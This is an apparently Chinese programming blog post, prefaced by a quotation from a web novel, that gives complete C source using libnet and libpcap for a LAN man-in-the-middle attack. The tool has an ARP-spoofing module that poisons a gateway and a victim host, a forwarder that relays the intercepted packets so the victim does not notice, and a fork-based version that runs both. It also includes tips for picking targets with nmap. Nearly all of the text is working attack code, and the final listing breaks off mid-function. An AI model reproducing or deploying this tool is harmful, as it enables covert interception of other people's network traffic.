看风云无忌一时有些迟疑。
那男子冷笑道:“你是新飞升的吧。妖魔吃人,人吃妖魔,这个道理你迟早会明白。莽莽大地,除却那植物之外,所有行走之物,均强于人类。你若是想不通,以后就和一些低等妖兽一般,去吃那树上的野果吧。”
——飞升之后 ·荧惑 风云无忌
·这是本文版本v1.1全部代码,添加了更充分的错误显示信息和使用方法:
1 #include<unistd.h> 2 #include<pcap.h> 3 #include<time.h> 4 #include<stdio.h> 5 #include<stdint.h> 6 #include<stdio.h> 7 #include<stdlib.h> 8 #include<string.h> 9 #include<unistd.h> 10 #include<libnet.h> 11 12 #define MAC_ADDR_LEN 6 13 #define ip_ADDR_LEN 4 14 15 struct ethernet_ip_hdr 16 { 17 uint8_t ether_dhost[6];/* destination ethernet address */ 18 uint8_t ether_shost[6];/* source ethernet address */ 19 uint16_t ether_type; /* PRotocol */ 20 uint8_t ip_ver_hdrlen; 21 uint8_t ip_tos; 22 uint16_t ip_total_len; /* total length */ 23 uint16_t ip_id; /* identification */ 24 uint16_t ip_frag; 25 uint8_t ip_ttl; /* time to live */ 26 uint8_t ip_proto; /* protocol */ 27 uint16_t ip_hdrCRC; /* checksum */ 28 uint8_t ip_src[4]; 29 uint8_t ip_dst[4]; 30 }; 31 32 struct MITM_para 33 { 34 const uint8_t * ip_A; 35 const uint8_t * mac_A; 36 const uint8_t * ip_B; 37 const uint8_t * mac_B; 38 const uint8_t * mac_M; 39 const char * BPF_filterStr; 40 const char * devMitm; 41 }; 42 43 int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac, 44 const unsigned char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes 45 ) 46 { 47 static char padPtr[18]; 48 libnet_t *net_t = NULL; 49 char err_buf[LIBNET_ERRBUF_SIZE]; 50 libnet_ptag_t p_tag; 51 unsigned int i=0; 52 53 //printf("the src_ip_str is ,uint32 src_ip is %d/n",src_ip); 54 //printf("the dst_ip_str is ,uint32 dst_ip is %d/n",dst_ip); 55 56 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 57 if(net_t == NULL) 58 { 59 printf("libnet_init error/n"); 60 return 2; 61 } 62 63 p_tag = libnet_build_arp( 64 ARPHRD_ETHER,//hardware type ethernet 65 ETHERTYPE_IP,//protocol type 66 MAC_ADDR_LEN,//mac length 67 IP_ADDR_LEN,//protocol length 68 arpOp,//op type 69 (u_int8_t *)src_mac,//source mac addr 70 (u_int8_t *)src_ip,//source ip addr 71 (u_int8_t *)dst_mac,//dest mac addr 72 (u_int8_t *)dst_ip,//dest ip addr 73 padPtr,//payload 74 18,//payload length 75 net_t,//libnet context 76 0//0 stands to build a new one 77 ); 78 79 if(-1 == p_tag) 80 { 81 printf("libnet_build_arp error:/n"); 82 printf("ForgeAndSendArp: %s",net_t->err_buf); 83 libnet_destroy(net_t); 84 return 3; 85 } 86 87 p_tag = libnet_build_ethernet(//create ethernet header 88 (u_int8_t *)dst_mac,//dest mac addr 89 (u_int8_t *)src_mac,//source mac addr 90 ETHERTYPE_ARP,//protocol type 91 padPtr,//payload 92 0,//payload length 93 net_t,//libnet context 94 0//0 to build a new one 95 ); 96 97 if(-1 == p_tag) 98 { 99 printf("libnet_build_ethernet error!/n");100 printf("ForgeAndSendArp: %s",net_t->err_buf);101 libnet_destroy(net_t);102 return 4;103 }104 105 int res;106 i=0;107 for(;i<sendTimes;i++)108 if(-1 == (res = libnet_write(net_t)))109 {110 printf("A libnet_write error!/n");111 printf("ForgeAndSendArp: %s",net_t->err_buf);112 libnet_destroy(net_t);113 return 5;114 }115 116 libnet_destroy(net_t);117 return 0;118 FAIL: 119 libnet_destroy(net_t);120 return 6;121 }122 123 void ArpSpoof(124 const uint8_t * ip_A, const uint8_t * mac_A,125 const uint8_t * ip_B, const uint8_t * mac_B,126 const uint8_t * mac_M,127 const char * devMitm128 )129 {130 //131 /*132 arp-reply: M->A B is at M133 arp-reply: M->B A is at M134 */ 135 while(1)136 { 137 usleep(500000);138 ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );139 140 usleep(500000);141 ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );142 }143 }144 145 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,146 const unsigned char * dst_mac,const unsigned char * src_mac,147 const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength148 )149 {150 libnet_t *net_t = NULL; 151 char err_buf[LIBNET_ERRBUF_SIZE];152 libnet_ptag_t p_tag; 153 unsigned int i=0;154 155 //init the libnet context structure156 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 157 if(net_t == NULL)158 {159 printf("libnet_init error/n");160 return 1;161 }162 163 //build the ethernet packet164 p_tag = libnet_build_ethernet(//create ethernet header165 dst_mac,//dest mac addr166 src_mac,//source mac addr167 protoType,//protocol type168 padPtr,//payload169 padLength,//payload length170 net_t,//libnet context171 0//0 to build a new one172 );173 if(-1 == p_tag)174 {175 printf("libnet_build_ethernet error!/n");176 printf("BuildAndSendEthernetPacket: %s",net_t->err_buf);177 goto FAIL;178 }179 180 for(i=0;i<sendTimes;i++)181 if(-1 == libnet_write(net_t))182 {183 printf("B libnet_write error!/n");184 printf("BuildAndSendEthernetPacket: %s",net_t->err_buf);185 goto FAIL;186 }187 188 libnet_destroy(net_t);189 return 0;190 FAIL: 191 libnet_destroy(net_t);192 return 1;193 }194 195 196 197 void getPacketCallBack(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)198 {199 int i;200 const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;201 unsigned int sendTimes=1;202 const uint16_t etherProto=0x0800;203 const char * dev=mitmParaPtr->devMitm;204 const uint8_t * ether_Ahost=mitmParaPtr->mac_A; 205 const uint8_t * ether_Bhost=mitmParaPtr->mac_B;206 const uint8_t * ether_Mhost=mitmParaPtr->mac_M; 207 const uint8_t * A_IP=mitmParaPtr->ip_A;208 const uint8_t * B_IP=mitmParaPtr->ip_B;209 const struct ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr * ) packet; 210 211 if (212 (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 213 //&& 214 //(0==memcmp(hdrPtr->ip_dst,B_IP,4))215 )216 { // packet: A send to B217 printf(" :) ether src A && ip dst B/n");218 BuildAndSendEthernetPacket(dev,sendTimes,219 ether_Bhost,ether_Mhost,220 //dst_mac, src_mac,221 etherProto,packet+14,pkthdr->len-14222 );223 } 224 else if (225 (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 226 //&& 227 //(0==memcmp(hdrPtr->ip_dst,A_IP,4))228 )229 { // packet: B send to A230 printf("ether src B && ip dst A/n");231 BuildAndSendEthernetPacket(dev,sendTimes,232 ether_Ahost,ether_Mhost,233 //dst_mac, src_mac,234 etherProto,packet+14,pkthdr->len-14235 );236 } 237 }238 239 240 int mitm_forwarder(241 const uint8_t * ip_A, const uint8_t * mac_A,242 const uint8_t * ip_B, const uint8_t * mac_B,243 const uint8_t * mac_M,const char * BPF_filterStr,244 const char * devMitm245 )246 //BPF_filterStr: ether dst mac_M and ip 247 {248 char errBuf[PCAP_ERRBUF_SIZE], * devStr;249 struct bpf_program filter;250 251 struct MITM_para mitmPara;252 253 mitmPara.ip_A=ip_A;254 mitmPara.mac_A=mac_A;255 256 mitmPara.ip_B=ip_B;257 mitmPara.mac_B=mac_B;258 259 mitmPara.mac_M=mac_M;260 261 mitmPara.BPF_filterStr=BPF_filterStr;262 mitmPara.devMitm=devMitm; 263 264 /* get a device */265 devStr = pcap_lookupdev(errBuf);266 267 if(devStr)268 {269 printf("success: device: %s/n", devStr);270 }271 else272 {273 printf("error: %s/n", errBuf);274 exit(1);275 }276 277 /* open a device, wait until a packet arrives */278 pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);279 280 if(!device)281 {282 printf("error: pcap_open_live(): %s/n", errBuf);283 exit(1);284 }285 // ether dst 00:11:22:33:44:55 and ip286 pcap_compile( device,&filter,BPF_filterStr,1,0 ); 287 pcap_setfilter(device ,&filter );288 /* wait loop forever */289 pcap_loop(device, -1, getPacketCallBack,( u_char * ) &mitmPara);290 291 pcap_close(device);292 293 return 0; 294 }295 296 297 /*298 gw kali299 192.168.1.1 192.168.1.108300 14:E6:E4:94:B4:D6 00:7B:05:03:8E:90301 A B302 303 00:11:22:33:44:55304 M305 被攻击者:306 ip_A mac_A 307 ip_B mac_B308 中间人:309 mac_B310 中间人所选用的网络设备:311 devMitm : 如 "eth0"312 中间人所用BPF过滤规则:313 BPF_filterStr : 格式是 "ether dst 00:11:22:33:44:55 and ip "314 其中 00:11:22:33:44:55 是中间人eth0的mac,只需要按情况替换之即可315 建议使用形如 " nmap -sP 192.168.0.0/24 " 的命令扫描您所在的局域网,以搜集必要的信息。316 实验时,A可选用网关,B为局域网内一普通victim主机,M为您的主机,这样会更加清晰。317 318 */319 320 void main()321 322 {323 uint8_t ip_A[4]={172,16,0,1};324 uint8_t mac_A[6]={0x00,0x17,0x31,0x58,0xac,0x85};325 326 uint8_t ip_B[4]={172,16,31,99};327 uint8_t mac_B[6]={0x00,0x11,0x22,0x33,0x44,0x56};328 329 uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};330 331 //BPF_filterStr: ether dst mac_M and ip332 char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";333 char * devMitm="eth0";334 335 //local336 pid_t sonPid;337 338 sonPid=fork();339 if( sonPid==-1 )340 {//failure341 printf("failure:mitm fork error :( /n");342 }343 else if(sonPid==0)344 {//child345 printf("child : pid:%d:)/n",getpid());346 ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 347 }348 else349 {//parent350 printf("parent: pid:%d sonPid:%d :)/n",getpid(),sonPid);351 sleep(2);352 mitm_forwarder(353 ip_A,mac_A,354 ip_B,mac_B,355 mac_M,BPF_filterStr,356 devMitm357 );358 }359 }View Code
下面是整篇文章的鸟瞰图:(读者应该了解局域网ARP协议,如需要,请看文章《ARP数据包伪造》)
上图便是局域网中的中间人攻击的大概思想,下面给出具体的实现方法:
(备注:右键另存为 大图较清晰)
实现"中间人"的情景,有两个关键点:
·ARP欺骗:目的是将通信双方的数据包流经中间人。
·数据包分析、篡改与转发:维持通信双发的通信链接不至于中断,以免对方警觉,这样才能顺利进行下一步的行动。
第一步:ArpSpoof
(备注:右键另存为 大图较清晰)
ArpSpoof模块的源码如下:
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 #include <unistd.h> 5 #include <libnet.h> 6 #include <unistd.h> 7 #define MAC_ADDR_LEN 6 8 #define IP_ADDR_LEN 4 9 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 10 unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes 11 ) 12 { 13 static char padPtr[18]; 14 libnet_t *net_t = NULL; 15 char err_buf[LIBNET_ERRBUF_SIZE]; 16 libnet_ptag_t p_tag; 17 unsigned int i=0; 18 19 printf("the src_ip_str is ,uint32 src_ip is %d/n",src_ip); 20 printf("the dst_ip_str is ,uint32 dst_ip is %d/n",dst_ip); 21 22 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 23 if(net_t == NULL) 24 { 25 printf("libnet_init error/n"); 26 return 2; 27 } 28 29 p_tag = libnet_build_arp( 30 ARPHRD_ETHER,//hardware type ethernet 31 ETHERTYPE_IP,//protocol type 32 MAC_ADDR_LEN,//mac length 33 IP_ADDR_LEN,//protocol length 34 arpOp,//op type 35 (u_int8_t *)src_mac,//source mac addr 36 (u_int8_t *)src_ip,//source ip addr 37 (u_int8_t *)dst_mac,//dest mac addr 38 (u_int8_t *)dst_ip,//dest ip addr 39 padPtr,//payload 40 18,//payload length 41 net_t,//libnet context 42 0//0 stands to build a new one 43 ); 44 45 if(-1 == p_tag) 46 { 47 printf("libnet_build_arp error/n"); 48 libnet_destroy(net_t); 49 return 3; 50 } 51 52 p_tag = libnet_build_ethernet(//create ethernet header 53 (u_int8_t *)dst_mac,//dest mac addr 54 (u_int8_t *)src_mac,//source mac addr 55 ETHERTYPE_ARP,//protocol type 56 padPtr,//payload 57 0,//payload length 58 net_t,//libnet context 59 0//0 to build a new one 60 ); 61 62 if(-1 == p_tag) 63 { 64 printf("libnet_build_ethernet error!/n"); 65 libnet_destroy(net_t); 66 return 4; 67 } 68 69 int res; 70 i=0; 71 for(;i<sendTimes;i++) 72 if(-1 == (res = libnet_write(net_t))) 73 { 74 printf("libnet_write error!/n"); 75 libnet_destroy(net_t); 76 return 5; 77 } 78 79 libnet_destroy(net_t); 80 return 0; 81 FAIL: 82 libnet_destroy(net_t); 83 return 6; 84 } 85 86 /* 87 88 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 89 unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes 90 ) 91 */ 92 93 void ArpSpoof( 94 const uint8_t * ip_A, const uint8_t * mac_A, 95 const uint8_t * ip_B, const uint8_t * mac_B, 96 const uint8_t * mac_M, 97 const char * devMitm 98 ) 99 {100 //101 /*102 arp-reply: M->A B is at M103 arp-reply: M->B A is at M104 */ 105 while(1)106 { 107 usleep(500000);108 ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );109 110 usleep(500000);111 ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );112 }113 /*114 char * dev=devMitm;115 unsigned char src_mac[6] ={ 0x11,0x11,0x11,0x11,0x11,0x11 };116 unsigned char dst_mac[6] ={ 0x12,0x11,0x11,0x11,0x11,0x11 };117 unsigned char src_ip[4]={11,22,11,11};118 unsigned char dst_ip[4]={11,23,11,11};119 printf(":)/n");120 printf("%s/n",src_ip_str);121 while(1)122 ForgeAndSendArp(dev,src_mac,dst_mac,src_ip,dst_ip,1,3123 );124 */125 }126 /*127 gw kali128 192.168.1.1 192.168.1.132129 14:E6:E4:94:B4:D6 00:0C:29:A4:AC:26130 A B131 132 00:11:22:33:44:55133 M134 135 */136 void main()137 {138 139 uint8_t ip_A[4]={192,168,1,1};140 uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};141 142 uint8_t ip_B[4]={192,168,1,108};143 uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};144 145 uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};146 147 char * devMitm="eth0";148 while(1)149 ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 150 151 }152 153 /*154 void ArpSpoof(155 const uint8_t * ip_A, const uint8_t * mac_A,156 const uint8_t * ip_B, const uint8_t * mac_B,157 const uint8_t * mac_M,158 const char * devMitm159 )160 */View Code
第二步:数据包分析、转发
这里仅转发IP数据包,于是,我们以较简单的icmp-request & icmp-reply 为例:
mitm-forwarder模块的源码如下:
1 #include <pcap.h> 2 #include <time.h> 3 #include <stdlib.h> 4 #include <stdio.h> 5 #include <string.h> 6 #include <stdint.h> 7 #include <stdio.h> 8 #include <stdlib.h> 9 #include <string.h> 10 #include <unistd.h> 11 #include <libnet.h> 12 13 #define MAC_ADDR_LEN 6 14 #define IP_ADDR_LEN 4 15 16 struct ethernet_ip_hdr 17 { 18 uint8_t ether_dhost[6];/* destination ethernet address */ 19 uint8_t ether_shost[6];/* source ethernet address */ 20 uint16_t ether_type; /* protocol */ 21 uint8_t ip_ver_hdrlen; 22 uint8_t ip_tos; 23 uint16_t ip_total_len; /* total length */ 24 uint16_t ip_id; /* identification */ 25 uint16_t ip_frag; 26 uint8_t ip_ttl; /* time to live */ 27 uint8_t ip_proto; /* protocol */ 28 uint16_t ip_hdrCRC; /* checksum */ 29 uint8_t ip_src[4]; 30 uint8_t ip_dst[4]; 31 }; 32 33 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes, 34 const unsigned char * dst_mac,const unsigned char * src_mac, 35 const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength 36 ) 37 { 38 libnet_t *net_t = NULL; 39 char err_buf[LIBNET_ERRBUF_SIZE]; 40 libnet_ptag_t p_tag; 41 unsigned int i=0; 42 43 //init the libnet context structure 44 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 45 if(net_t == NULL) 46 { 47 printf("libnet_init error/n"); 48 return 1; 49 } 50 51 //build the ethernet packet 52 p_tag = libnet_build_ethernet(//create ethernet header 53 dst_mac,//dest mac addr 54 src_mac,//source mac addr 55 protoType,//protocol type 56 padPtr,//payload 57 padLength,//payload length 58 net_t,//libnet context 59 0//0 to build a new one 60 ); 61 if(-1 == p_tag) 62 { 63 printf("libnet_build_ethernet error!/n"); 64 goto FAIL; 65 } 66 67 for(i=0;i<sendTimes;i++) 68 if(-1 == libnet_write(net_t)) 69 { 70 printf("libnet_write error!/n"); 71 goto FAIL; 72 } 73 74 libnet_destroy(net_t); 75 return 0; 76 FAIL: 77 libnet_destroy(net_t); 78 return 1; 79 } 80 81 82 struct MITM_para 83 { 84 const uint8_t * ip_A; 85 const uint8_t * mac_A; 86 const uint8_t * ip_B; 87 const uint8_t * mac_B; 88 const uint8_t * mac_M; 89 const char * BPF_filterStr; 90 const char * devMitm; 91 }; 92 93 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) 94 { 95 int i; 96 const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg; 97 unsigned int sendTimes=1; 98 const uint16_t etherProto=0x0800; 99 const char * dev=mitmParaPtr->devMitm;100 const uint8_t * ether_Ahost=mitmParaPtr->mac_A; 101 const uint8_t * ether_Bhost=mitmParaPtr->mac_B;102 const uint8_t * ether_Mhost=mitmParaPtr->mac_M; 103 const uint8_t * A_IP=mitmParaPtr->ip_A;104 const uint8_t * B_IP=mitmParaPtr->ip_B;105 const struct ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr * ) packet; 106 107 if (108 (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 109 //&& 110 //(0==memcmp(hdrPtr->ip_dst,B_IP,4))111 )112 { // packet: A send to B113 printf(" :) ether src A && ip dst B/n");114 BuildAndSendEthernetPacket(dev,sendTimes,115 ether_Bhost,ether_Mhost,116 //dst_mac, src_mac,117 etherProto,packet+14,pkthdr->len-14118 );119 } 120 else if (121 (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 122 //&& 123 //(0==memcmp(hdrPtr->ip_dst,A_IP,4))124 )125 { // packet: B send to A126 printf("ether src B && ip dst A/n");127 BuildAndSendEthernetPacket(dev,sendTimes,128 ether_Ahost,ether_Mhost,129 //dst_mac, src_mac,130 etherProto,packet+14,pkthdr->len-14131 );132 } 133 134 }135 136 137 int mitm_forwarder(138 const uint8_t * ip_A, const uint8_t * mac_A,139 const uint8_t * ip_B, const uint8_t * mac_B,140 const uint8_t * mac_M,const char * BPF_filterStr,141 const char * devMitm142 )143 //BPF_filterStr: ether dst mac_M and ip 144 {145 char errBuf[PCAP_ERRBUF_SIZE], * devStr;146 struct bpf_program filter;147 148 struct MITM_para mitmPara;149 150 mitmPara.ip_A=ip_A;151 mitmPara.mac_A=mac_A;152 153 mitmPara.ip_B=ip_B;154 mitmPara.mac_B=mac_B;155 156 mitmPara.mac_M=mac_M;157 158 mitmPara.BPF_filterStr=BPF_filterStr;159 mitmPara.devMitm=devMitm; 160 161 /* get a device */162 devStr = pcap_lookupdev(errBuf);163 164 if(devStr)165 {166 printf("success: device: %s/n", devStr);167 }168 else169 {170 printf("error: %s/n", errBuf);171 exit(1);172 }173 174 /* open a device, wait until a packet arrives */175 pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);176 177 if(!device)178 {179 printf("error: pcap_open_live(): %s/n", errBuf);180 exit(1);181 }182 // ether dst 00:11:22:33:44:55 and ip183 pcap_compile( device,&filter,BPF_filterStr,1,0 ); 184 pcap_setfilter(device ,&filter );185 /* wait loop forever */186 pcap_loop(device, -1, getPacket,( u_char * ) &mitmPara);187 188 pcap_close(device);189 190 return 0; 191 }192 /*193 194 int mitm_forwarder(195 uint8_t * ip_A,uint8_t * mac_A,196 uint8_t * ip_B,uint8_t * mac_B,197 uint8_t * mac_M,char * BPF_filterStr,198 char * devMitm199 )200 201 */202 void main()203 {204 205 uint8_t ip_A[4]={192,168,1,1};206 uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};207 208 uint8_t ip_B[4]={192,168,1,108};209 uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};210 211 uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};212 213 //BPF_filterStr: ether dst mac_M and ip214 char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";215 char * devMitm="eth0";216 217 mitm_forwarder(218 ip_A,mac_A,219 ip_B,mac_B,220 mac_M,BPF_filterStr,221 devMitm222 );223 224 }View Code
第三步:
借助于进程的fork模型,将arpspoof与mitm-forwarder二者整合为一个接口:
1 void main() 2 3 { 4 uint8_t ip_A[4]={192,168,1,1}; 5 uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6}; 6 uint8_t ip_B[4]={192,168,1,108}; 7 uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90}; 8 uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55}; 9 //BPF_filterStr: ether dst mac_M and ip10 char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";11 char * devMitm="eth0";12 13 //local14 pid_t sonPid;15 sonPid=fork();16 if( sonPid==-1 )17 {//failure18 printf("failure:mitm fork error :( /n");19 }20 else if(sonPid==0)21 {//child22 printf("child : pid:%d:)/n",getpid());23 ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 24 }25 else26 {//parent27 printf("parent: pid:%d sonPid:%d :)/n",getpid(),sonPid);28 sleep(2);29 mitm_forwarder(30 ip_A,mac_A,31 ip_B,mac_B,32 mac_M,BPF_filterStr,33 devMitm34 );35 }36 }
如此,最终代码如下:
1 #include<unistd.h> 2 #include<pcap.h> 3 #include<time.h> 4 #include<stdio.h> 5 #include<stdint.h> 6 #include<stdio.h> 7 #include<stdlib.h> 8 #include<string.h> 9 #include<unistd.h> 10 #include<libnet.h> 11 12 #define MAC_ADDR_LEN 6 13 #define IP_ADDR_LEN 4 14 15 struct ethernet_ip_hdr 16 { 17 uint8_t ether_dhost[6];/* destination ethernet address */ 18 uint8_t ether_shost[6];/* source ethernet address */ 19 uint16_t ether_type; /* protocol */ 20 uint8_t ip_ver_hdrlen; 21 uint8_t ip_tos; 22 uint16_t ip_total_len; /* total length */ 23 uint16_t ip_id; /* identification */ 24 uint16_t ip_frag; 25 uint8_t ip_ttl; /* time to live */ 26 uint8_t ip_proto; /* protocol */ 27 uint16_t ip_hdrCRC; /* checksum */ 28 uint8_t ip_src[4]; 29 uint8_t ip_dst[4]; 30 }; 31 32 struct MITM_para 33 { 34 const uint8_t * ip_A; 35 const uint8_t * mac_A; 36 const uint8_t * ip_B; 37 const uint8_t * mac_B; 38 const uint8_t * mac_M; 39 const char * BPF_filterStr; 40 const char * devMitm; 41 }; 42 43 int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac, 44 const unsigned char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes 45 ) 46 { 47 static char padPtr[18]; 48 libnet_t *net_t = NULL; 49 char err_buf[LIBNET_ERRBUF_SIZE]; 50 libnet_ptag_t p_tag; 51 unsigned int i=0; 52 53 //printf("the src_ip_str is ,uint32 src_ip is %d/n",src_ip); 54 //printf("the dst_ip_str is ,uint32 dst_ip is %d/n",dst_ip); 55 56 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 57 if(net_t == NULL) 58 { 59 printf("libnet_init error/n"); 60 return 2; 61 } 62 63 p_tag = libnet_build_arp( 64 ARPHRD_ETHER,//hardware type ethernet 65 ETHERTYPE_IP,//protocol type 66 MAC_ADDR_LEN,//mac length 67 IP_ADDR_LEN,//protocol length 68 arpOp,//op type 69 (u_int8_t *)src_mac,//source mac addr 70 (u_int8_t *)src_ip,//source ip addr 71 (u_int8_t *)dst_mac,//dest mac addr 72 (u_int8_t *)dst_ip,//dest ip addr 73 padPtr,//payload 74 18,//payload length 75 net_t,//libnet context 76 0//0 stands to build a new one 77 ); 78 79 if(-1 == p_tag) 80 { 81 printf("libnet_build_arp error/n"); 82 libnet_destroy(net_t); 83 return 3; 84 } 85 86 p_tag = libnet_build_ethernet(//create ethernet header 87 (u_int8_t *)dst_mac,//dest mac addr 88 (u_int8_t *)src_mac,//source mac addr 89 ETHERTYPE_ARP,//protocol type 90 padPtr,//payload 91 0,//payload length 92 net_t,//libnet context 93 0//0 to build a new one 94 ); 95 96 if(-1 == p_tag) 97 { 98 printf("libnet_build_ethernet error!/n"); 99 libnet_destroy(net_t);100 return 4;101 }102 103 int res;104 i=0;105 for(;i<sendTimes;i++)106 if(-1 == (res = libnet_write(net_t)))107 {108 printf("A libnet_write error!/n");109 libnet_destroy(net_t);110 return 5;111 }112 113 libnet_destroy(net_t);114 return 0;115 FAIL: 116 libnet_destroy(net_t);117 return 6;118 }119 120 void ArpSpoof(121 const uint8_t * ip_A, const uint8_t * mac_A,122 const uint8_t * ip_B, const uint8_t * mac_B,123 const uint8_t * mac_M,124 const char * devMitm125 )126 {127 //128 /*129 arp-reply: M->A B is at M130 arp-reply: M->B A is at M131 */ 132 while(1)133 { 134 usleep(500000);135 ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );136 137 usleep(500000);138 ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );139 }140 }141 142 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,143
新闻热点
疑难解答